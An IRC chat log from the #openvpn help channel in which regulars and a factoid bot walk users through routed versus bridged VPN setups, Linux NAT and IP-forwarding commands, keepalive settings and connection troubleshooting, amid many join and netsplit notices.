15:43 < pr3dict> ill add myself to that list
15:43 <@krzee> ^ yep
15:43 < pr3dict> well why would you need to bridge in a quick 1 sentence explanation
15:43 <@krzee> !whybridge'
15:44 <@krzee> !whybridge
15:44 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
15:44 < rob0> the factoid
15:44 < pr3dict> vpnhelper is a great guy
15:44 < rob0> also !tunortap
15:44 < rob0> thich you saw 4 minutes ago
15:44 < rob0> *which
15:44 < pr3dict> yes
15:45 < pekster> !learn whybridge See also !tunortap
15:45 <@vpnHelper> (learn [<channel>] <key> as <value>) -- Associates <key> with <value>. <channel> is only necessary if the message isn't sent on the channel itself. The word 'as' is necessary to separate the key from the value. It can be changed to another word via the learnSeparator registry value.
15:45 < pekster> !learn whybridge as See also !tunortap
15:45 <@vpnHelper> Joo got it.
15:45 < pekster> When the message doesn't get through, redirect them to more ways talking them out of it!
15:45 < rob0> yup
15:45  * krzee gets out his cluebat
15:46 < pr3dict> interesting a cluebat
15:46 < pr3dict> sooo where should we go from here
15:46 < pekster> I go for something less high-brow; I weild a clue-by-four
15:46 <@krzee> !msg pr3dict you have been hit by a cluebat, wommmmp wommmmp
15:46 < pr3dict> =/
15:46 <@krzee> hahah
15:47 < rob0> One thing I do, in the rare case that I'm actually trying to help someone here: I stop helping if they insist on bridging without a clear reason for it.
15:47 < pr3dict> haha
15:47 <@krzee> i dont help with them even when it's valid
15:47 < pr3dict> well good thing im not insisting on bridging
15:47 <@krzee> (since i dont use them)
15:48 < pr3dict> bridging is the bad
15:48 < pr3dict> !whybridge
15:48 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
15:48 < pr3dict> ;)
15:49 -!- NChief_ [~nchief@unaffiliated/nchief] has joined #openvpn
15:49 -!- Matir_ [~matir@ubuntu/member/matir] has joined #openvpn
15:50 -!- Netsplit *.net <-> *.split quits: ScriptFanix, pppingme, KiNgMaR, GabrieleV, kisom, MikeH_, jzaw, NChief, Matir
15:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:51 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
15:51 < pr3dict> hmmmm ok so where shall i move forward to
15:52 -!- TheWarden_ [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
15:53 -!- Netsplit over, joins: KiNgMaR
15:54 < pekster> If you're trying to do !redirect on Windows, my advice is to just build a VM (an ubuntu-server VM with 300M RAM would be plenty sufficient) and use that
15:55 < pekster> It'll generally be far easier than turning Windows into a NAT router
15:55 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Ping timeout: 276 seconds]
15:55 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 276 seconds]
15:55 -!- TheWarden_ is now known as TheWarden
15:55 < pr3dict> hmmm
15:55 < pr3dict> thats a possibility
15:55 <@krzee> he's right, windows NAT is a pita
15:55 < pr3dict> and if its far easier
15:55 <@krzee> !winnat
15:55 <@vpnHelper> "winnat" is (#1) http://www.windowsnetworking.com/articles_tutorials/NAT_Windows_2003_Setup_Configuration.html for a guide on setting up NAT in windows or (#2) http://www.nanodocumet.com/?p=14 for windows XP or (#3) https://community.openvpn.net/openvpn/wiki/NatOverWindows2008 for 2k8
15:55 < pekster> non-server Windows OSes don't like to let you do "real" networking. And if you're silly enough to spent $1.5k on a "Server" OS you're nuts
15:56 < pr3dict> haha
15:56 <@krzee> !winnat
15:56 <@vpnHelper> "winnat" is (#1) http://www.windowsnetworking.com/articles_tutorials/NAT_Windows_2003_Setup_Configuration.html for a guide on setting up NAT in windows or (#2) http://www.nanodocumet.com/?p=14 for windows XP or (#3) https://community.openvpn.net/openvpn/wiki/NatOverWindows2008 for 2k8
15:56 <@krzee> errr
15:56 <@krzee> !windows
15:56 <@vpnHelper> "windows" is (#1) computers are like air conditioners, they work well until you open windows. or (#2) http://secure-computing.net/files/windows.jpg for funny or (#3) http://secure-computing.net/files/windows_2.jpg for more funny
15:56 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
15:57 < pr3dict> lol
15:57 < pr3dict> ok so the question is
15:58 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn
15:58 < pr3dict> how does windows handle a VM Nat
15:58 < rob0> poorly?
15:58 <@krzee> use bridge mode for the VM to connect and get an IP from your router
15:58 < pr3dict> well if im running a vm of linux is it even going to work considering windows sucks at routing
15:59 <@krzee> VM bridge mode, not openvpn
15:59 < rob0> If Windows is bridged to the VM, it's not routing
15:59 < pr3dict> yeah i figured that much
15:59 < pr3dict> gotcha
15:59 < pr3dict> truee
15:59 < pr3dict> ok so step 1. make a unix vpn
15:59 <@krzee> and windows handles routing fine
15:59 <@krzee> its the NAT thats a pita
15:59 < pr3dict> err
15:59 < pr3dict> vm
15:59 < pr3dict> ok
15:59 < pekster> Um, Windows handles multi-homing very (Very!) poorly
16:00 < pr3dict> lol
16:00 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
16:00 <@krzee> multi-homing windows? sounds like something i would fight my boss over
16:00 < Inst> btw
16:00 <@krzee> "im using freebsd, fire me if you dont like it"
16:00 < Inst> i'm having a reconnection problem with my openvpn client
16:00 < pr3dict> ok i havent ever installed a vm of unix b4 anyone have a great idea which kind to get
16:01 <@krzee> i guess ubuntu
16:01 < pr3dict> ive used a physical server back in the day when i was selling counterstrike instances to people
16:01 < pr3dict> but never a vm
16:01 <@krzee> same thing
16:01 < pr3dict> that was back when redhat was cool
16:01 <@krzee> if you like redhat go with centos
16:01 < pr3dict> yeah but i owned a copy
16:01 <@krzee> !bestos
16:01 <@vpnHelper> "bestos" is the best os for openvpn is the one you are most comfortable with
16:01 < rob0> !asbestos
16:02 < pr3dict> lol
16:02 <@krzee> !learn asbestos as as best os: freebsd sukka!
16:02 <@vpnHelper> Joo got it.
16:02 <@krzee> !asbestos
16:02 < pr3dict> ok so im writing this stuff down
16:02 <@vpnHelper> "asbestos" is as best os: freebsd sukka!
16:02 <@krzee> lol
16:03 < pr3dict> ok step 2
16:03 <@krzee> !learn asbestos as as best os: freebsd sukka! (according to krzee)
16:03 <@krzee> !forget asbestos 1
16:03 <@vpnHelper> Joo got it.
16:03 <@vpnHelper> Joo got it.
16:03 <@krzee> step 2,
16:03 <@krzee> !sample
16:03 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
16:03 <@krzee> change filenames and stuff in those til they work ^
16:04 < pr3dict> haha
16:04 <@krzee> by work i mean: til the client can ping the server's VPN ip (10.8.1.1 in this example)
16:04 <@krzee> THEN
16:04 <@krzee> !redirect
16:04 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:04 <@vpnHelper> http://ircpimps.org/redirect.png
16:04 <@krzee> the flowchart in #4 is very handy
16:04 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
16:04 <@krzee> then when THAT works right:
16:04 <@krzee> is your lan behind the server or client?
16:05 < pr3dict> server
16:05 <@krzee> (or both?)
16:05 <@krzee> !serverlan
16:05 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
16:05 <@krzee> flowchart is handy on that one too
16:05 <@krzee> !linipforward
16:05 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
16:05 <@krzee> !linnat
16:05 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
16:05 <@krzee> save ALL that
16:06 < pr3dict> hahaha
16:06 < Inst> halp?
16:06 < Inst> what's going on right now is that my Openvpn client disconnects and it won't auto-reconnect
16:07 < Inst> i'm guessing the process gets disconnected when it occurs
16:07 < Inst> what can i do to avoid this?
16:07 < pr3dict> flowcharts are nice i see those all day lol
16:07 < pr3dict> but this is reminding me why i wanted to just pay someone lol
16:07 < pr3dict> hmmm
16:09 < pekster> Inst: See the manpage for the following options: --ping-restart --ping (both represented by the --keepalive helper) and --inactive
16:09 <@krzee> !keepalive
16:09 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
16:09 < Inst> it's on windows
16:09 < pekster> Doesn't matter
16:09 < pekster> !man
16:09 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
16:09 < Inst> erm, it's not auto-reconnect, i get a failure message
16:09 <@krzee> hey nice protip :D
16:09 < pekster> I thought so, yes
16:11 < pekster> Inst:
16:11 < pekster> !logs
16:11 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
16:11 < Inst> yeah
16:11 < Inst> thanks, i guess
16:11 < Inst> i need to wait for the situation to reappear before i have logs for it
16:12 -!- kubbing_ [~kubbing@ip-78-102-124-2.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
16:12 -!- kubbing [~kubbing@ip-78-102-124-2.net.upcbroadband.cz] has joined #openvpn
16:12 < pekster> Might as well take the time to make sure you're using --verb 4 as well (no point in 5 unless you can't get connected as it'll spam logs with characters for every packet)
16:12 <@krzee> !verb
16:12 <@vpnHelper> "verb" is (#1) verb command is for setting log verbosity, see --verb in the manual (!man) for more info or (#2) verb 5 is good for debugging, verb 3 is good for normal usage
16:12 <@krzee> hrm
16:12 <@krzee> !forget verb 2
16:12 <@vpnHelper> Joo got it.
16:13 < pekster> Want to give a quick run-down of 3, 4, & 5?
16:13 <@krzee> !learn verb 5 is good for debugging connections that will not establish, verb 4 is good for debugging connections that do establish, verb 3 is good for everyday use
16:13 <@vpnHelper> (learn [<channel>] <key> as <value>) -- Associates <key> with <value>. <channel> is only necessary if the message isn't sent on the channel itself. The word 'as' is necessary to separate the key from the value. It can be changed to another word via the learnSeparator registry value.
16:14 <@krzee> heh, i guess ill leave it like that so you can mod it first
16:14 <@krzee> (if you wanna)
16:22 -!- JesseCW [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has quit []
16:22 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
16:25 < pr3dict> hmmm whats difference between ubuntu server and desktop editions.. which one will be easier to install openvpn. im assuming server will have less resources
16:25 < pr3dict> require*
16:25 < pr3dict> less
16:26 < deegen> Ubuntu server doesn't install X by default. Use it.
16:27 < pr3dict> sounds like a plan stan
16:31 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has quit []
16:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:34 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
16:40 -!- mirco [~mirco@p50802B04.dip0.t-ipconnect.de] has joined #openvpn
16:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
16:43 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
16:47 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:53 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:01 -!- kubbing [~kubbing@ip-78-102-124-2.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:04 < Inst> hey
17:05 < Inst> pekster
17:05 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:06 < Inst> Thu May 16 18:01:50 2013 TCP: connect to [AF_INET]xxx.xxx.205.205:xxx failed, will try again in 5 seconds: Connection timed out (WSAETIMEDOUT)
17:06 < Inst> Thu May 16 18:01:55 2013 MANAGEMENT: >STATE:1368741715,TCP_CONNECT,,,
17:06 <+hazardous> hello
17:06 < pekster> That's not the reason for your disconnect. As much as you may thing it's meaningless, please post the *entire* log to a pastebin site
17:06 < pekster> think*
17:07 < Inst> probably something about an encrypted packet that won't decrypt properly
17:14 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
17:16 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
17:17 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 246 seconds]
17:20 -!- rockzone [~b@shill.deseret-tech.com] has joined #openvpn
17:21 < rockzone> Hi all. I would like to pay someone to fix my server-side configuration. It should be simple. Anyone know someone that might be interested in taking on that job? It should be really brief, probably 1-2 hours.
17:22 < pppingme> rockzone whats wrong with it?
17:23 < rockzone> Throughput is not satisfactory. 1-5 simultaneous users, normally just 1. Can't get it past 20Mb/s despite tinkering with fragment/mssfix/tun-mtu for a while.
17:25 < pppingme> what does cpu look like when you're maxed out at 20mb/s?
17:25 -!- Inst [~Sun@unaffiliated/inst] has left #openvpn ["Leaving"]
17:25 < rockzone> pppingme, 30% or under
17:26 < rockzone> I'm using a Linode for the VPN
17:26 < rockzone> not an embedded device
17:26 < pppingme> you sure THEY aren't throtteling you??
17:26 < rockzone> Yes, I've asked and they've confirmed that the box has 100Mb symmetrical allowance.
17:27 < pppingme> the "box" (depending on what they are defining as the box) may have, but thats shared with another 200 users on that same box..
17:28 < rockzone> Right, but I don't have issues with throughput over non-VPN. I don't think it's a problem with Linode's load.
17:28 < pppingme> for a virtual machine on a shared physical machine, I'd probably call that impressive and move on..  Oh, and I doubt linnode is going to fess up to any throttles..
17:28 < pppingme> are you doing compression?
17:28 < rockzone> Yes.
17:29 < pppingme> turn that off and measure throughput..
17:29 < rockzone> I've tried that as well, no change.
17:29 < pppingme> so its 20mb with OR without compression?
17:30 < rockzone> Yes. ~20Mb, depending on the config I'm using at a given time. Sometimes 15-20Mb.
17:30 < pppingme> how are you testing exactly?
17:31 < rockzone> wgetting a file, not using iperf
17:31 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
17:31 < pppingme> getting from where???
17:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
17:32 < rockzone> Other servers I control.
17:33 < pppingme> try getting from THAT box
17:34 < pppingme> have you tested with iperf (both ways)?  what do you get?
17:34 -!- rickzone [~b@shill.deseret-tech.com] has joined #openvpn
17:35 -!- rockzone [~b@shill.deseret-tech.com] has quit [Read error: Connection reset by peer]
17:38 -!- Inst [~Sun@unaffiliated/inst] has joined #openvpn
17:38 < Inst> pekster: how about now?
17:38 < Inst> http://pastebin.com/MQGwprcZ
17:39 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
17:40 -!- Zepher [~Zepher@178-84-177-218.dynamic.upc.nl] has quit [Ping timeout: 245 seconds]
17:49 -!- rickzone [~b@shill.deseret-tech.com] has quit [Quit: Leaving]
17:57 < pekster> Inst: So, in UDP mode it'll simply drop the packet, but since you're using TCP as your tunnel transport (with TCP's reliable delivery) a decrypt error is fatal. It could be mismatched LZO settings (like one side is adaptive and the other isn't) although it might be faulty processing in software or bad hardware that causes an encrypt/decrypt to fail at either end too
17:59 < Inst> ah, i see
17:59 < pekster> What do your logs from the other side show?
18:00 < Inst> i'd have to check it
18:00 < Inst> feeling depressed and lethargic right now for some reason
18:00 < pekster> The replay warning is very suspect too since that should "never" happen in normal condnitions over a TCP tunnel since that layer provides its own guarenteed delivery and ordering
18:01 < Inst> i'm wondering if i pissed the wrong people off, or my ISP is blocking VPS connections
18:01 < Inst> so they can do deep packet inspection etc...
18:03 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0.1/20130409194949]]
18:04 < pekster> Sure, it's likely either that or a malfunctioning host that is somehow sending out malformed data
18:05 < Inst> disabled LZO now
18:05 < Inst> the host seemed to work before
18:05 < pekster> Check the remote end logs, and failing that maybe try a stress test to see if more data causes it to happen sooner (which might poin to a machine hardware or compiler issue if you build running code)
18:05 < Inst> this is like my 8th different connection
18:05 < pekster> I think the LZO thing is somewhat unlikely; as long as your settings match between both your peer *exactly* it'll be fine
18:06 < pekster> I just tossed it out there since miss-matching does cause issues (say one side was 'on' and the other was 'adaptive' -- as soon as the adaptive side turns off it'll fail to decrypt)
18:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
18:11 -!- ThePortableInstr [~Sun@cpe-74-73-8-247.nyc.res.rr.com] has joined #openvpn
18:11 -!- ThePortableInstr [~Sun@cpe-74-73-8-247.nyc.res.rr.com] has left #openvpn []
18:14 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
18:14 -!- Inst [~Sun@unaffiliated/inst] has quit [Ping timeout: 256 seconds]
18:14 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
18:16 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
18:20 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
18:25 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
18:30 -!- lbft- is now known as lbft
18:44 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
18:44 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
18:49 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Remote host closed the connection]
19:24 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
19:27 < jzaw> !ping
19:27 <@vpnHelper> pong
19:27 < jzaw> !ping
19:27 <@vpnHelper> pong
19:28 -!- tekzilla_ [~jon@24.134.142.157] has joined #openvpn
19:28 -!- ronnocol_ [~lance@mail.ronnoco.net] has joined #openvpn
19:28 -!- qmr_ [~qmr@50.116.18.140] has joined #openvpn
19:30 -!- novaflash_ [~novaflash@vpnserver1.jellemaautomatisering.nl] has joined #openvpn
19:31 -!- [oc80z] [oc80z@blea.ch] has joined #openvpn
19:31 -!- _b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
19:33 -!- Netsplit *.net <-> *.split quits: mirco, uuuppz, xTz, meepmeep, Dropje, eliasp, MrPocketz, lbft, jgeboski, clever_,  (+47 more, use /NETSPLIT to show all of them)
19:34 -!- Netsplit *.net <-> *.split quits: _mnathani_, majuscule, Sarah, BtbN, kenyon, pjschmitt, RichardBronosky_, Dave2, phantomcircuit, Devastator,  (+27 more, use /NETSPLIT to show all of them)
19:34 -!- _b00b is now known as b00b
19:34 -!- novaflash_ is now known as novaflash
19:34 -!- [oc80z] is now known as oc80z
19:34 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
19:35 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
19:35 -!- Netsplit over, joins: JackWinter
19:38 -!- Netsplit over, joins: _quadDamage, chovy, kevinsky, ngharo, brad, ChloeD, clu5ter, magoo_, gardar_, erry (+6 more)
19:41 -!- raidz is now known as raidz_away
19:51 -!- jive is now known as 92AAAM1NW
19:52 -!- Matir_ [~matir@ubuntu/member/matir] has joined #openvpn
19:52 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
19:52 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:52 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
19:52 -!- troj [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
19:52 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
19:52 -!- stephanj [stephan@opennic/stephan] has joined #openvpn
19:52 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
19:52 -!- majuscule [~dylan@dylansserver.com] has joined #openvpn
19:52 -!- cherwin [~cherwin@robin.teqnix.nl] has joined #openvpn
19:52 -!- Sarah [~Sarah@april-fools/ninth/aster] has joined #openvpn
19:52 -!- pjschmitt [~parker@209.141.56.12] has joined #openvpn
19:52 -!- zarrsh_ [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has joined #openvpn
19:52 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
19:52 -!- pwrcycle_ [~pwrcycle@173.214.160.92] has joined #openvpn
19:52 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
19:52 -!- Dave2 [~Dave2@freenode/staff/dave2] has joined #openvpn
19:52 < jzaw> !ping
19:52 <@vpnHelper> pong
19:52 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has joined #openvpn
19:52 -!- mirco [~mirco@p50802B04.dip0.t-ipconnect.de] has joined #openvpn
19:52 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
19:52 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
19:52 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
19:52 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
19:52 -!- NChief_ [~nchief@unaffiliated/nchief] has joined #openvpn
19:52 -!- lbft [~lbft@tools2.lbft.net] has joined #openvpn
19:52 -!- xTz [xtz@93.152.166.203] has joined #openvpn
19:52 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
19:52 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
19:52 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
19:52 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
19:52 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
19:52 -!- MrPocketz [~MevinKitt@unaffiliated/mrpockets] has joined #openvpn
19:52 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
19:52 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
19:52 -!- master_of_master [~master_of@p4FF24036.dip0.t-ipconnect.de] has joined #openvpn
19:52 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
19:52 -!- brian__ [~brian@pool-71-171-107-196.clppva.fios.verizon.net] has joined #openvpn
19:52 -!- ServerTechLaptop [~ServerTec@72.11.156.151] has joined #openvpn
19:52 -!- joshie [~josh@joshie.net] has joined #openvpn
19:52 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
19:52 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
19:52 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
19:52 -!- RealRancor_ [~Rancor@prielwurmjaeger.de] has joined #openvpn
19:52 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
19:52 -!- zamba [marius@flage.org] has joined #openvpn
19:52 -!- clever_ [~clever@47.54.82.69] has joined #openvpn
19:52 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
19:52 -!- Neal_ [neal@felix.ineal.me] has joined #openvpn
19:52 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
19:52 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
19:52 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-adktcvtoolowyqsb] has joined #openvpn
19:52 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has joined #openvpn
19:52 -!- haasn [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
19:52 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
19:52 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has joined #openvpn
19:52 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
19:52 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
19:52 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
19:52 -!- i7c_ [~i7c@212.47.190.111] has joined #openvpn
19:52 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
19:52 -!- zyphex [~pony@cpe-71-72-29-138.neo.res.rr.com] has joined #openvpn
19:52 -!- zu [~zu@ks387228.kimsufi.com] has joined #openvpn
19:52 -!- druid [~druid@unaffiliated/druid] has joined #openvpn
19:52 -!- uuuppz [uuuppz@78.129.207.46] has joined #openvpn
19:52 -!- lirime [~liriel@cinnabar.feralhosting.com] has joined #openvpn
19:52 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
19:52 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
19:52 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
19:52 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Max SendQ exceeded]
19:53 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
19:53 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
19:59 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 252 seconds]
20:01 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
20:01 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
20:04 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
20:26 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
20:30 -!- Devastator [~devas@186.214.15.156] has joined #openvpn
20:30 -!- Devastator [~devas@186.214.15.156] has quit [Changing host]
20:30 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
20:40 -!- ducky [~ducky@unaffiliated/ducky] has joined #openvpn
20:41 < ducky> !goal
20:41 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
20:42 < ducky> Have an interesting problem hoping someone could help me out with... Anyone available?
20:55 < pr3dict> !virtualappliance
20:56 < pr3dict> hmmm benefit of virtual appliance like on vmware instead of installing it on a ubuntu virtual server?
21:01 -!- mirco_ [~mirco@p50804B71.dip0.t-ipconnect.de] has joined #openvpn
21:03 -!- mirco [~mirco@p50802B04.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
21:03 -!- mirco_ is now known as mirco
21:04 -!- master_o1_master [~master_of@p4FF24B9A.dip0.t-ipconnect.de] has joined #openvpn
21:07 -!- master_of_master [~master_of@p4FF24036.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds]
21:10 < pekster> pr3dict: You can run an OS inside a VM. VMware is a technology for virtualizing operating systems
21:10 < pekster> If you meant the commercial, non-free "Access Server" product, you need to use the official commercial support channel for that:
21:10 < pekster> !as
21:10 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
21:10 < pr3dict> ohhh fancy
21:11 < pr3dict> i know about vm's
21:11 < pr3dict> you guys recommended running linux inside a vm and then running the access server on that
21:11 < pr3dict> bcuz windows sucks
21:11 < pekster> It's designed as an option for people who want a VPN to "do all the work for them." It's not open-source and subject to the license agreement as a result. It depends on what your goals/needs are and your acceptance of the license agreement and possibly payment terms depending on your usage
21:12 < pr3dict> but then i noticed that openvpn has a vmware server specifically for that and was just wondering what the difference was
21:12 < pekster> It's not free or GPL
21:12 < pr3dict> ohhhhhhhhhhhhh
21:12 < pr3dict> gotcha
21:12 < pr3dict> ok that makes sense
21:13 < pr3dict> well then the path recommended is still being taken haha thx u
21:13 < pekster> I recommend it becuase you'll learn more. Some people would rather have magic pixie dust that does it for them
21:13 < pekster> And that's fine; it's just not very educational
